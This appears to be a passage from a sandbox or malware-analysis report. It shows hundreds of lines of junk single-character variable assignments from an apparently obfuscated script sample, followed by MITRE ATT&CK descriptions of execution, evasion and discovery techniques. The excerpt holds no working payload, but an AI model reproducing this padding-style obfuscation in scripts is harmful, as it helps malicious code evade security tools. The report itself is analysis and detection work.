476	bugdjqlp = "B";
477	bugdjqlp = "c";
478	bugdjqlp = "g";
479	bugdjqlp = "R";
480	bugdjqlp = "p";
481	bugdjqlp = "Z";
482	bugdjqlp = "q";
483	bugdjqlp = "U";
484	bugdjqlp = "K";
485	bugdjqlp = "B";
486	bugdjqlp = "F";
487	bugdjqlp = "T";
488	bugdjqlp = "k";
489	bugdjqlp = "u";
490	bugdjqlp = "V";
491	bugdjqlp = "m";
492	wowvvvjx = "k";
493	wowvvvjx = "c";
494	wowvvvjx = "P";
495	wowvvvjx = "x";
496	wowvvvjx = "l";
497	wowvvvjx = "Y";
498	wowvvvjx = "O";
499	wowvvvjx = "p";
500	wowvvvjx = "E";
501	wowvvvjx = "b";
502	wowvvvjx = "h";
503	wowvvvjx = "m";
504	wowvvvjx = "m";
505	wowvvvjx = "C";
506	wowvvvjx = "v";
507	wowvvvjx = "P";
508	wowvvvjx = "W";
509	wowvvvjx = "Y";
510	wowvvvjx = "g";
511	wowvvvjx = "Q";
512	wowvvvjx = "l";
513	wowvvvjx = "e";
514	wowvvvjx = "u";
515	wowvvvjx = "x";
516	wowvvvjx = "a";
517	wowvvvjx = "s";
518	evfnn = "j";
519	evfnn = "c";
520	evfnn = "J";
521	evfnn = "K";
522	bhjbbxrpw = "C";
523	bhjbbxrpw = "x";
524	bhjbbxrpw = "C";
525	bhjbbxrpw = "F";
526	bhjbbxrpw = "q";
527	bhjbbxrpw = "C";
528	bhjbbxrpw = "O";
529	bhjbbxrpw = "W";
530	bhjbbxrpw = "p";
531	bhjbbxrpw = "p";
532	bhjbbxrpw = "n";
533	bhjbbxrpw = "l";
534	bhjbbxrpw = "e";
535	bhjbbxrpw = "J";
536	bhjbbxrpw = "N";
537	bhjbbxrpw = "k";
538	bhjbbxrpw = "T";
539	bhjbbxrpw = "r";
540	bhjbbxrpw = "t";
541	bhjbbxrpw = "o";
542	bhjbbxrpw = "d";
543	bhjbbxrpw = "g";
544	bhjbbxrpw = "y";
545	bhjbbxrpw = "R";
546	bhjbbxrpw = "q";
547	bhjbbxrpw = "Y";
548	heqkdb = "e";
549	heqkdb = "J";
550	heqkdb = "e";
551	heqkdb = "D";
552	heqkdb = "s";
553	heqkdb = "G";
554	heqkdb = " ";
555	sfktu = "q";
556	sfktu = "t";
557	sfktu = "I";
558	sfktu = "y";
559	sfktu = "P";
560	sfktu = "j";
561	sfktu = "Y";
562	sfktu = "i";
563	sfktu = "m";
564	sfktu = "C";
565	sfktu = "Z";
566	sfktu = "c";
567	sfktu = "P";
568	sfktu = "V";
569	sfktu = "i";
570	sfktu = "v";
571	sfktu = "q";
572	sfktu = "c";
573	sfktu = "I";
574	sfktu = "x";
575	sfktu = "j";
576	sfktu = "Y";
577	sfktu = "A";
578	sfktu = "f";
579	sfktu = "H";
580	sfktu = "K";
581	sfktu = "e";
582	sfktu = "F";
583	sfktu = "o";
584	sfktu = "k";
585	sfktu = "W";
586	sfktu = "N";
587	sfktu = "b";
588	sfktu = "k";
589	sfktu = "H";
590	sfktu = "r";
591	sfktu = "f";
592	sfktu = "%";
593	bxkqnkeid = "X";
594	bxkqnkeid = "J";
595	bxkqnkeid = "X";
596	bxkqnkeid = "A";
597	bxkqnkeid = "j";
598	bxkqnkeid = "t";
599	bxkqnkeid = "Z";
600	bxkqnkeid = "o";
601	bxkqnkeid = "i";
602	bxkqnkeid = "i";
603	bxkqnkeid = "Z";
604	bxkqnkeid = "b";
605	bxkqnkeid = "P";
606	bxkqnkeid = "Y";
607	bxkqnkeid = "y";
608	bxkqnkeid = "x";
609	bxkqnkeid = "U";
610	bxkqnkeid = "O";
611	bxkqnkeid = "w";
612	bxkqnkeid = "I";
613	bxkqnkeid = "r";
614	bxkqnkeid = "U";
615	bxkqnkeid = "M";
616	bxkqnkeid = "G";
617	bxkqnkeid = "f";
618	bxkqnkeid = "Z";
619	bxkqnkeid = "X";
620	bxkqnkeid = "g";
621	bxkqnkeid = "j";
622	bxkqnkeid = "P";
623	bxkqnkeid = "W";
624	bxkqnkeid = "g";
625	bxkqnkeid = "T";
626	bxkqnkeid = "O";
627	bxkqnkeid = "Q";
628	bxkqnkeid = "j";
629	bxkqnkeid = "a";
630	bxkqnkeid = "B";
631	bxkqnkeid = "u";
632	bxkqnkeid = ":";
633	artwtv = "V";
634	artwtv = "J";
635	artwtv = "t";
636	artwtv = "c";
637	artwtv = "U";
638	artwtv = "q";
639	artwtv = "Y";
640	artwtv = "z";
641	artwtv = "b";
642	artwtv = "K";
643	artwtv = "a";
644	artwtv = "V";
645	artwtv = "V";
646	artwtv = "r";
647	artwtv = "r";
648	artwtv = "P";
649	uasnha = "z";
650	uasnha = "w";
651	uasnha = "o";
652	uasnha = "B";
653	uasnha = "Y";
654	uasnha = "P";
655	uasnha = "l";
656	uasnha = "l";
657	uasnha = "X";
658	uasnha = "n";
659	uasnha = "O";
660	uasnha = "t";
661	uasnha = "u";
662	uasnha = "f";
663	uasnha = "Q";
664	uasnha = "c";
665	uasnha = "I";
666	hmivjl = "s";
667	hmivjl = "A";
668	hmivjl = "L";
669	hmivjl = "O";
670	hmivjl = "u";
671	hmivjl = "t";
672	hmivjl = "N";
673	hmivjl = "e";
674	hmivjl = "K";
675	hmivjl = "m";
676	hmivjl = "k";
677	hmivjl = "w";
678	hmivjl = "A";
679	hmivjl = "C";
680	hmivjl = "t";
681	hmivjl = "t";
682	hmivjl = "a";
683	hmivjl = "C";
684	hmivjl = "o";
685	hmivjl = "A";
686	hmivjl = "d";
687	hmivjl = "2";
688	undwwnva = "k";
689	undwwnva = "j";
690	undwwnva = "S";
691	undwwnva = "O";
692	undwwnva = "x";
693	undwwnva = "x";
694	undwwnva = "e";
695	undwwnva = "C";
696	undwwnva = "k";
697	undwwnva = "r";
698	undwwnva = "q";
699	undwwnva = "x";
700	undwwnva = "L";
701	undwwnva = "Y";
702	undwwnva = "x";
703	undwwnva = "d";
704	undwwnva = "V";
705	undwwnva = "Y";
706	undwwnva = "m";
707	undwwnva = "O";
708	undwwnva = "p";
709	undwwnva = "U";
710	vjfsmnz = "d";
711	vjfsmnz = "C";
712	avfosv = "Y";
713	avfosv = "j";
714	avfosv = "Z";
715	avfosv = "G";
716	avfosv = "s";
717	avfosv = "U";
718	avfosv = "C";
719	avfosv = "g";
720	avfosv = "B";
721	avfosv = "i";
722	avfosv = "B";
723	avfosv = "z";
724	avfosv = "M";
725	avfosv = "H";
726	avfosv = "C";
727	avfosv = "Y";
728	avfosv = "u";
729	avfosv = "m";
730	avfosv = "j";
731	avfosv = "M";
732	avfosv = "M";
733	avfosv = "W";
734	avfosv = "C";
735	avfosv = "w";
736	avfosv = "p";
737	avfosv = "M";
738	avfosv = "z";
739	avfosv = "k";
740	avfosv = "f";
741	avfosv = "@";
742	zyexu = "a";
743	zyexu = "u";
744	zyexu = "r";
745	zyexu = "X";
746	zyexu = "A";
747	zyexu = "F";
748	zyexu = "i";
749	zyexu = "u";
750	zyexu = "u";
751	zyexu = "J";
752	zyexu = "N";
753	zyexu = "p";
754	zyexu = "Q";
755	zyexu = "C";
756	zyexu = "B";
757	zyexu = "i";
758	zyexu = "o";
759	zyexu = "x";
760	zyexu = "K";
761	zyexu = "n";
762	zyexu = "P";
763	zyexu = "x";
764	zyexu = "L";
765	zyexu = "P";
766	zyexu = "t";
767	zyexu = "G";
768	zyexu = "o";
769	vijrwru = "M";
770	vijrwru = "A";
771	vijrwru = "U";
772	vijrwru = "e";
773	vijrwru = "A";
774	vijrwru = "j";
775	vijrwru = "s";
776	vijrwru = "X";
777	vijrwru = "x";
778	vijrwru = "r";
779	vijrwru = "O";
780	vijrwru = "D";
781	vijrwru = "b";
782	vijrwru = "m";
783	vijrwru = "m";
784	vijrwru = "N";
785	vijrwru = "a";
786	vijrwru = "L";
787	vijrwru = "F";
788	vijrwru = "a";
789	vijrwru = "z";
790	vijrwru = "Y";
791	vijrwru = "C";
792	vijrwru = "r";
793	vijrwru = "L";
794	vijrwru = "L";
795	vijrwru = "B";
796	vijrwru = "A";
797	vijrwru = "p";
798	vijrwru = "d";
799	vijrwru = "e";
800	vijrwru = "o";
801	vijrwru = "s";
802	vijrwru = "v";
803	vijrwru = "K";
804	vijrwru = "N";
805	vijrwru = "b";
806	vijrwru = "i";
807	vijrwru = "H";
808	ncfmtnu = "e";
809	ncfmtnu = "q";
810	yjwfmxhxs = "B";
811	yjwfmxhxs = "V";
812	yjwfmxhxs = "T";
813	yjwfmxhxs = "Q";
814	yjwfmxhxs = "x";
815	yjwfmxhxs = "S";
816	yjwfmxhxs = "i";
817	yjwfmxhxs = "a";
818	yjwfmxhxs = "G";
819	yjwfmxhxs = "C";
820	yjwfmxhxs = "d";
821	yjwfmxhxs = "R";
822	yjwfmxhxs = "D";
823	yjwfmxhxs = "Z";
824	yjwfmxhxs = "T";
825	yjwfmxhxs = "W";
826	yjwfmxhxs = "x";
827	yjwfmxhxs = "Q";
828	yjwfmxhxs = "H";
829	yjwfmxhxs = "j";
830	yjwfmxhxs = "H";
831	yjwfmxhxs = "c";
832	wnnqs = "Y";
833	wnnqs = "i";
834	wnnqs = "d";
835	wnnqs = "Z";
836	wnnqs = "X";
837	wnnqs = "c";
838	wnnqs = "D";
839	wnnqs = "G";
840	wnnqs = "K";
841	wnnqs = "j";
842	wnnqs = "a";
843	wnnqs = "H";
844	wnnqs = "V";
845	wnnqs = "p";
846	wnnqs = "Y";
847	wnnqs = "q";
848	wnnqs = "K";
849	wnnqs = "G";
850	wnnqs = "N";
851	wnnqs = "w";
852	wnnqs = "n";
853	wnnqs = "E";
854	wnnqs = "U";
855	wnnqs = "o";
856	wnnqs = "C";
857	wnnqs = "K";
858	wnnqs = "Z";
859	wnnqs = "K";
860	wnnqs = "G";
861	wnnqs = "N";
862	wnnqs = "Z";
863	wnnqs = "V";
864	wnnqs = "X";
865	wnnqs = "R";
866	wnnqs = "A";
867	wnnqs = "n";
868	wnnqs = "_";
869	oxezxwcw = "T";
870	oxezxwcw = "1";
871	yhnhjy = "p";
872	yhnhjy = "K";
873	yhnhjy = "p";
874	yhnhjy = "H";
875	yhnhjy = "o";
876	yhnhjy = "G";
877	yhnhjy = "P";
878	yhnhjy = "G";
879	yhnhjy = "E";
880	yhnhjy = "N";
881	mqbytvrn = "J";
882	mqbytvrn = "W";
883	mqbytvrn = "L";
884	mqbytvrn = "w";
885	mqbytvrn = "W";
886	mqbytvrn = "z";
887	mqbytvrn = "M";
888	mqbytvrn = "g";
889	mqbytvrn = "M";
890	mqbytvrn = "j";
891	mqbytvrn = "J";
892	mqbytvrn = "q";
893	mqbytvrn = "v";
894	mqbytvrn = "M";
895	mqbytvrn = "N";
896	mqbytvrn = "i";
897	mqbytvrn = "w";
898	mqbytvrn = "y";
899	mqbytvrn = "Q";
900	mqbytvrn = "f";
901	mqbytvrn = "V";
902	mqbytvrn = "L";
903	mqbytvrn = "U";
904	mqbytvrn = "0";
905	iepmsib = "v";
906	iepmsib = "K";
907	iepmsib = "Z";
908	iepmsib = "C";
909	iepmsib = "U";
910	iepmsib = "Z";
911	iepmsib = "L";
912	iepmsib = "F";
913	iepmsib = "k";
914	iepmsib = "x";
915	iepmsib = "W";
916	gosvpnz = "J";
917	gosvpnz = "A";
918	gosvpnz = "V";
919	gosvpnz = "N";
920	gosvpnz = "M";
921	gosvpnz = "n";
922	gosvpnz = "F";
923	gosvpnz = "F";
924	gosvpnz = "u";
925	gosvpnz = "K";
926	gosvpnz = "Y";
927	gosvpnz = "I";
928	gosvpnz = "D";
929	gosvpnz = "F";
930	gosvpnz = "s";
931	gosvpnz = "Z";
932	gosvpnz = "W";
933	gosvpnz = "k";
934	gosvpnz = "Y";
935	gosvpnz = "q";
936	gosvpnz = "h";
937	gosvpnz = "S";
938	gosvpnz = "B";
939	gosvpnz = "c";
940	gosvpnz = "i";
941	gosvpnz = "t";
942	gosvpnz = "Q";
943	gosvpnz = "n";
944	gosvpnz = "S";
945	gosvpnz = "g";
946	gosvpnz = "e";
947	gosvpnz = "/";
948	odebbvol = "k";
949	odebbvol = "u";
950	odebbvol = "h";
951	odebbvol = "u";
952	odebbvol = "w";
953	odebbvol = "W";
954	odebbvol = "D";
955	odebbvol = "a";
956	odebbvol = "h";
957	odebbvol = "F";
958	odebbvol = "i";
959	odebbvol = "T";
960	odebbvol = "t";
961	jrbmehrr = "J";
962	jrbmehrr = "R";
963	jrbmehrr = "y";
964	jrbmehrr = "L";
965	jrbmehrr = "r";
966	jrbmehrr = "w";
967	jrbmehrr = "G";
968	jrbmehrr = "I";
969	jrbmehrr = "d";
970	jrbmehrr = "s";
971	jrbmehrr = "G";
972	jrbmehrr = "E";
973	jrbmehrr = "c";
974	jrbmehrr = "w";
975	jrbmehrr = "Z";
976	jrbmehrr = "Z";
977	jrbmehrr = "i";
978	jrbmehrr = "l";
979	jrbmehrr = "l";
980	jrbmehrr = "x";
981	jrbmehrr = "Y";
982	jrbmehrr = "Q";
983	jrbmehrr = "P";
984	jrbmehrr = "c";
985	jrbmehrr = "L";
986	jrbmehrr = "D";
987	jrbmehrr = "G";
988	jrbmehrr = "h";
989	jrbmehrr = "Q";
990	jrbmehrr = "t";
991	jrbmehrr = "l";
992	jrbmehrr = "Z";
993	jrbmehrr = "W";
994	jrbmehrr = "u";
995	jrbmehrr = "N";
996	jrbmehrr = "x";
997	jrbmehrr = "C";
998	jrbmehrr = "D";
999	jrbmehrr = "R";
1000	jrbmehrr = "t";
1001	jrbmehrr = "t";
1002	jrbmehrr = "G";
1003	jrbmehrr = "E";
1004	aftcvm = "J";
1005	aftcvm = "f";
1006	aftcvm = "A";
1007	aftcvm = "Y";
1008	aftcvm = "R";
1009	aftcvm = "X";
1010	aftcvm = "l";
1011	aftcvm = "8";
1012	bqgtlcibv = "H";
1013	bqgtlcibv = "m";
1014	bqgtlcibv = "n";
1015	bqgtlcibv = "f";
1016	bqgtlcibv = "o";
1017	bqgtlcibv = "v";
1018	bqgtlcibv = "y";
1019	bqgtlcibv = "x";
1020	bqgtlcibv = "Z";
1021	bqgtlcibv = "N";
1022	bqgtlcibv = "C";
1023	bqgtlcibv = "k";
1024	bqgtlcibv = "C";
1025	bqgtlcibv = "I";
1026	bqgtlcibv = "t";
1027	bqgtlcibv = "W";
1028	bqgtlcibv = "u";
1029	bqgtlcibv = "k";
1030	bqgtlcibv = "W";
1031	bqgtlcibv = "x";
1032	bqgtlcibv = "M";
1033	bqgtlcibv = "T";
1034	bqgtlcibv = "s";
1035	bqgtlcibv = "J";
1036	bqgtlcibv = "Y";
1037	bqgtlcibv = "b";
1038	srfrexhhe = "w";
1039	srfrexhhe = "D";
1040	srfrexhhe = "c";
1041	srfrexhhe = "v";
1042	srfrexhhe = "h";
1043	srfrexhhe = "r";
1044	srfrexhhe = "f";
1045	srfrexhhe = "S";
1046	srfrexhhe = "h";
1047	srfrexhhe = "U";
1048	srfrexhhe = "R";
1049	fuhgdeyxb = "a";
1050	fuhgdeyxb = "G";
1051	fuhgdeyxb = "w";
1052	fuhgdeyxb = "V";
1053	fuhgdeyxb = "K";
1054	fuhgdeyxb = "Q";
1055	fuhgdeyxb = "k";
1056	fuhgdeyxb = "n";
1057	fuhgdeyxb = "J";
1058	fuhgdeyxb = "U";
1059	fuhgdeyxb = "Q";
1060	fuhgdeyxb = "A";
1061	fuhgdeyxb = "G";
1062	fuhgdeyxb = "G";
1063	fuhgdeyxb = "J";
1064	fuhgdeyxb = "E";
1065	fuhgdeyxb = "s";
1066	fuhgdeyxb = "F";
1067	fuhgdeyxb = "z";
1068	fuhgdeyxb = "d";
1069	fuhgdeyxb = "b";
1070	fuhgdeyxb = "N";
1071	fuhgdeyxb = "V";
1072	fuhgdeyxb = "n";
1073	fuhgdeyxb = "w";
1074	vdbkmaiow = "Y";
1075	vdbkmaiow = "f";
1076	vdbkmaiow = "U";
1077	vdbkmaiow = "w";
1078	vdbkmaiow = "m";
1079	vdbkmaiow = "F";
1080	vdbkmaiow = "J";
1081	vdbkmaiow = "Q";
1082	vdbkmaiow = "a";
1083	vdbkmaiow = "b";
1084	vdbkmaiow = "V";
1085	vdbkmaiow = "g";
1086	vdbkmaiow = "u";
1087	vdbkmaiow = "f";
1088	vdbkmaiow = "F";
1089	vdbkmaiow = "L";
1090	vdbkmaiow = "Z";
1091	vdbkmaiow = "c";
1092	vdbkmaiow = "h";
1093	vdbkmaiow = "J";
1094	vdbkmaiow = "T";
1095	vdbkmaiow = "p";
1096	vdbkmaiow = "A";
1097	vdbkmaiow = "w";
1098	vdbkmaiow = "Z";
1099	vdbkmaiow = "h";
1100	dicfr = "y";
1101	dicfr = "f";
1102	dicfr = "o";
1103	dicfr = "d";
1104	dicfr = "U";
1105	dicfr = "S";
1106	dicfr = "t";
1107	dicfr = "G";
1108	dicfr = "C";
1109	dicfr = "C";
1110	dicfr = "A";
1111	dicfr = "e";
1112	dicfr = "K";
1113	dicfr = "m";
1114	dicfr = "Z";
1115	dicfr = "Q";
1116	dicfr = "V";
1117	dicfr = "j";
1118	dicfr = "O";
1119	dicfr = "b";
1120	dicfr = "W";
1121	dicfr = "d";
1122	dicfr = "r";
1123	dicfr = "O";
1124	dicfr = "f";
1125	dicfr = "O";
1126	dicfr = "K";
1127	dicfr = "f";
1128	bcpetc = "c";
1129	bcpetc = "b";
1130	bcpetc = "a";
1131	bcpetc = "C";
1132	bcpetc = "F";
1133	bcpetc = "f";
1134	bcpetc = "J";
1135	bcpetc = "A";
1136	bcpetc = "C";
1137	bcpetc = "A";
1138	bcpetc = "O";
1139	bcpetc = "r";
1140	hkays = "Y";
1141	hkays = "i";
1142	hkays = "3";
1143	alzcmu = "h";
1144	alzcmu = "B";
1145	alzcmu = "d";
1146	alzcmu = "X";
1147	alzcmu = "E";
1148	alzcmu = "E";
1149	alzcmu = "C";
1150	alzcmu = "f";
1151	alzcmu = "v";
1152	alzcmu = "G";
1153	alzcmu = "y";
1154	alzcmu = "t";
1155	alzcmu = "o";
1156	alzcmu = "i";
1157	alzcmu = "F";
1158	alzcmu = "h";
1159	alzcmu = "U";
1160	alzcmu = "I";
1161	alzcmu = "a";
1162	alzcmu = "m";
1163	alzcmu = "y";
1164	alzcmu = "P";
1165	alzcmu = "C";
1166	alzcmu = "C";
1167	alzcmu = "a";
1168	alzcmu = "f";
1169	alzcmu = "E";
1170	alzcmu = "L";
1171	alzcmu = "j";
1172	alzcmu = "N";
1173	alzcmu = "w";
1174	alzcmu = "N";
1175	alzcmu = "p";
1176	guxtk = "P";
1177	guxtk = "l";
1178	aoejobb = "U";
1179	aoejobb = "g";
1180	aoejobb = "F";
1181	aoejobb = "d";
1182	aoejobb = "y";
1183	aoejobb = "w";
1184	aoejobb = "d";
1185	aoejobb = "A";
1186	aoejobb = "Y";
1187	aoejobb = "L";
1188	aoejobb = "X";
1189	aoejobb = "U";
1190	aoejobb = "l";
1191	aoejobb = "m";
1192	aoejobb = "a";
1193	aoejobb = "h";
1194	aoejobb = "O";
1195	aoejobb = "F";
1196	aoejobb = "T";
1197	aoejobb = "L";
1198	aoejobb = "b";
1199	aoejobb = "e";
1200	aoejobb = "f";
1201	aoejobb = "l";
1202	aoejobb = "M";
1203	aoejobb = "I";
1204	aoejobb = "E";
1205	aoejobb = "v";
1206	aoejobb = "Y";
1207	aoejobb = "p";
1208	aoejobb = "k";
1209	aoejobb = "M";
1210	aoejobb = "w";
1211	aoejobb = "p";
1212	aoejobb = "b";
1213	aoejobb = "z";
1214	aoejobb = "M";
1215	aoejobb = "i";
1216	aoejobb = "B";
1217	aoejobb = "a";
1218	aoejobb = "K";
1219	aoejobb = "X";
1220	aoejobb = "t";
1221	aoejobb = "r";
1222	aoejobb = "\\";
1223	jfeseje = "Y";
1224	jfeseje = "W";
1225	jfeseje = "f";
1226	jfeseje = "u";
1227	jfeseje = "t";
1228	jfeseje = "O";
1229	jfeseje = "h";
1230	jfeseje = "U";
1231	jfeseje = "D";
1232	jfeseje = "C";
1233	jfeseje = "v";
1234	jfeseje = "a";
1235	jfeseje = "a";
1236	vkctgugu = "P";
1237	vkctgugu = "z";
1238	vkctgugu = "v";
1239	vkctgugu = "F";
1240	vkctgugu = "u";
1241	vkctgugu = "k";
1242	boupmqh = "t";
1243	boupmqh = "j";
1244	boupmqh = "C";
1245	boupmqh = "W";
1246	boupmqh = "N";
1247	boupmqh = "Z";
1248	boupmqh = "D";
1249	boupmqh = "Z";
1250	boupmqh = "g";
1251	boupmqh = "d";
1252	boupmqh = "b";
1253	boupmqh = "g";
1254	boupmqh = "S";
1255	boupmqh = "E";
1256	boupmqh = "C";
1257	boupmqh = "y";
1258	boupmqh = "e";
1259	boupmqh = "q";
1260	boupmqh = "u";
1261	bjhsxq = "M";
1262	bjhsxq = "X";
1263	bjhsxq = "Y";
1264	bjhsxq = "n";
1265	bjhsxq = "k";
1266	bjhsxq = "J";
1267	bjhsxq = "u";
1268	bjhsxq = "K";
1269	bjhsxq = "y";
1270	bjhsxq = "g";
1271	bjhsxq = "e";
1272	bjhsxq = "B";
1273	bjhsxq = "c";
1274	bjhsxq = "y";
1275	bjhsxq = "d";
1276	bjhsxq = "F";
1277	zzucx = "B";
1278	zzucx = "Y";
1279	zzucx = "B";
1280	zzucx = "p";
1281	zzucx = "N";
1282	zzucx = "e";
1283	zzucx = ".";
1284	tnphr = "k";
1285	tnphr = "C";
1286	tnphr = "A";
1287	tnphr = "Y";
1288	tnphr = "d";
1289	tnphr = "E";
1290	tnphr = "X";
1291	tnphr = "T";
1292	noqafo = "v";
1293	noqafo = "Y";
1294	noqafo = "M";
1295	noqafo = "u";
1296	noqafo = "A";
1297	noqafo = "X";
1298	noqafo = "f";
1299	noqafo = "N";
1300	noqafo = "j";
1301	noqafo = "q";
1302	noqafo = "O";
1303	noqafo = "W";
1304	noqafo = "F";
1305	noqafo = "A";
1306	noqafo = "O";
1307	noqafo = "f";
1308	noqafo = "S";
1309	noqafo = "L";
1310	noqafo = "n";
1311	noqafo = "W";
1312	noqafo = "I";
1313	noqafo = "U";
1314	noqafo = "a";
1315	noqafo = "O";
1316	noqafo = "H";
1317	noqafo = "j";
1318	noqafo = "p";
1319	noqafo = "j";
1320	noqafo = "z";
1321	noqafo = "t";
1322	noqafo = "w";
1323	noqafo = "Q";
1324	noqafo = "s";
1325	noqafo = "g";
1326	yasadrco = "e";
1327	yasadrco = "R";
1328	yasadrco = "J";
1329	yasadrco = "p";
1330	yasadrco = "L";
1331	yasadrco = "w";
1332	yasadrco = "X";
1333	yasadrco = "d";
1334	yasadrco = "A";
1335	yasadrco = "J";
1336	yasadrco = "l";
1337	yasadrco = "n";
1338	yasadrco = "d";
1339	gfsunpo = "L";
1340	gfsunpo = "u";
1341	gfsunpo = "s";
1342	gfsunpo = "x";
1343	gfsunpo = "V";
1344	gfsunpo = "t";
1345	gfsunpo = "P";
1346	gfsunpo = "z";
1347	gfsunpo = "u";
1348	gfsunpo = "o";
1349	gfsunpo = "E";
1350	gfsunpo = "J";
1351	gfsunpo = "g";
1352	gfsunpo = "5";
1353	hyptlz ( );	hyptlz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

